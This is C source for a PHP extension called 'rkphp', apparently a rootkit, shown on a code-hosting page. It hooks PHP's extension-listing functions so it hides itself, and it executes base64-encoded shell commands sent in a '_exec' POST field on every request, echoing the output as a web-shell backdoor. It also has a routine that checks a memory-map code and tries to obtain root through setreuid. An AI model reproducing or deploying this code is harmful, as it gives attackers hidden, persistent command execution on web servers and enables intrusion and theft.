You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 

259 lines
6.0 KiB

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include "common.h"
#include "utils.h"
static int rkphp_hook(
const char *method_name,
void (*hook)(INTERNAL_FUNCTION_PARAMETERS),
void (**original)(INTERNAL_FUNCTION_PARAMETERS)
)
{
zend_function *function;
if(!hook || !original)
{
RKPHP_PRINTF("Unable to apply hook, no hook address / original address!\n");
return -1;
}
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find_ptr(CG(function_table),
method_name, strlen(method_name), (void**)&function) == SUCCESS)
#else
if((function = zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name))) != NULL)
#endif
{
*original = function->internal_function.handler;
function->internal_function.handler = *hook;
RKPHP_PRINTF("Hooked function '%s' "
"(original: %p) -> (hook: %p)\n", method_name, &original, &hook);
return 0;
}
else
{
RKPHP_PRINTF("Unable to locate function '%s' in global function table.\n", method_name);
return -1;
}
return 0;
}
static void (*o_get_loaded_extensions)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
{
array_init(return_value);
zend_module_entry *module;
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
{
if(strcmp(RKPHP_NAME, module->name) == 0)
{
RKPHP_PRINTF("[!] Hidden %s from get_loaded_extensions!\n", module->name);
}
else
add_next_index_string(return_value, module->name);
}
} ZEND_HASH_FOREACH_END();
}
static void (*o_extension_loaded)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
{
zend_module_entry *module;
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
{
if(strcmp(RKPHP_NAME, module->name) == 0)
{
RKPHP_PRINTF("[!] Hidden %s from extension_loaded, return false!\n", module->name);
RETURN_FALSE;
}
}
} ZEND_HASH_FOREACH_END();
}
/* {{{ proto void rkphp_ex(int code, int pid)
* Execute root code in memory. */
PHP_FUNCTION(rkphp_ex)
{
FILE *fp = NULL;
long pid, code, lstart, lend;
char line[2048], start[32], end[32], filename[PATH_MAX];
if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
"ll", &pid, &code) == FAILURE)
RETURN_NULL();
RKPHP_PRINTF("[!] PID: %ld\n[!] CODE: %lx\n", pid, code);
fp = fopen("/proc/self/maps", "r");
if(fp == NULL)
RETURN_NULL();
while(fgets(line, sizeof(line), fp) != NULL)
{
sscanf(line, "%[^-]-%s r-xp %*Lx %*x:%*x %*Lu %s",
start, end, filename);
if(strstr(filename, "rkphp.so") == NULL)
continue;
RKPHP_PRINTF("[c] Start: %s\n[c] End: %s\n[c] File: %s\n",
start, end, filename);
break;
}
lstart = strtol(start, NULL, 16);
lend = strtol(end, NULL, 16);
if(code != (lstart + lend))
RETURN_NULL();
RKPHP_PRINTF("[!] CODE: %lx matched %lx\n", lstart + lend, code);
/* This is where we'll attempt to interact with the kernel module */
if(setreuid(1337, 1337));
if(getuid() != 0)
{
RKPHP_PRINTF("[!] We've not been given root privileges!\n");
RETURN_NULL();
}
RKPHP_PRINTF("[*] Gained Root privileges successfully!\n");
RETURN_TRUE;
}
/* }}} */
/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MINIT!\n");
rkphp_hook("get_loaded_extensions",
n_get_loaded_extensions,
&o_get_loaded_extensions);
rkphp_hook("extension_loaded",
n_extension_loaded,
&o_extension_loaded);
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MSHUTDOWN_FUNCTION
*/
PHP_MSHUTDOWN_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_MSHUTDOWN!\n");
return SUCCESS;
}
/* }}} */
/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RINIT!\n");
zval *arr;
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(&EG(symbol_table),
"_POST", sizeof("_POST") - 1, (void**)&arr) == SUCCESS)
#else
if((arr = zend_hash_str_find(&EG(symbol_table),
"_POST", sizeof("_POST") - 1)) != NULL)
#endif
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(ht,
"_exec", sizeof("_exec") - 1, (void**)&val) == SUCCESS)
#else
if((val = zend_hash_str_find(ht,
"_exec", sizeof("_exec") - 1)) != NULL)
#endif
{
FILE *fp;
char output[2048], decoded[1024], *encoded;
encoded = Z_STRVAL_P(val);
if(base64_decode(encoded, decoded, strlen(encoded)) == 0)
{
RKPHP_PRINTF("[!] Not a valid base64 string!\n");
return SUCCESS;
}
if((fp = popen(decoded, "r")) == NULL)
{
RKPHP_PRINTF("Unable to execute cmd!\n");
return SUCCESS;
}
php_printf("<pre>\n");
while(fgets(output, sizeof(output) - 1, fp) != NULL)
{
php_printf("%s", output);
}
php_printf("</pre>\n");
pclose(fp);
}
}
return SUCCESS;
}
/* }}} */
/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
*/
PHP_RSHUTDOWN_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RSHUTDOWN!\n");
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION
*/
#if RKPHP_DEBUG == 1
PHP_MINFO_FUNCTION(rkphp)
{
php_info_print_table_start();
php_info_print_table_header(3, RKPHP_NAME, RKPHP_VERSION, "enabled");
php_info_print_table_end();
}
#endif
/* }}} */
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/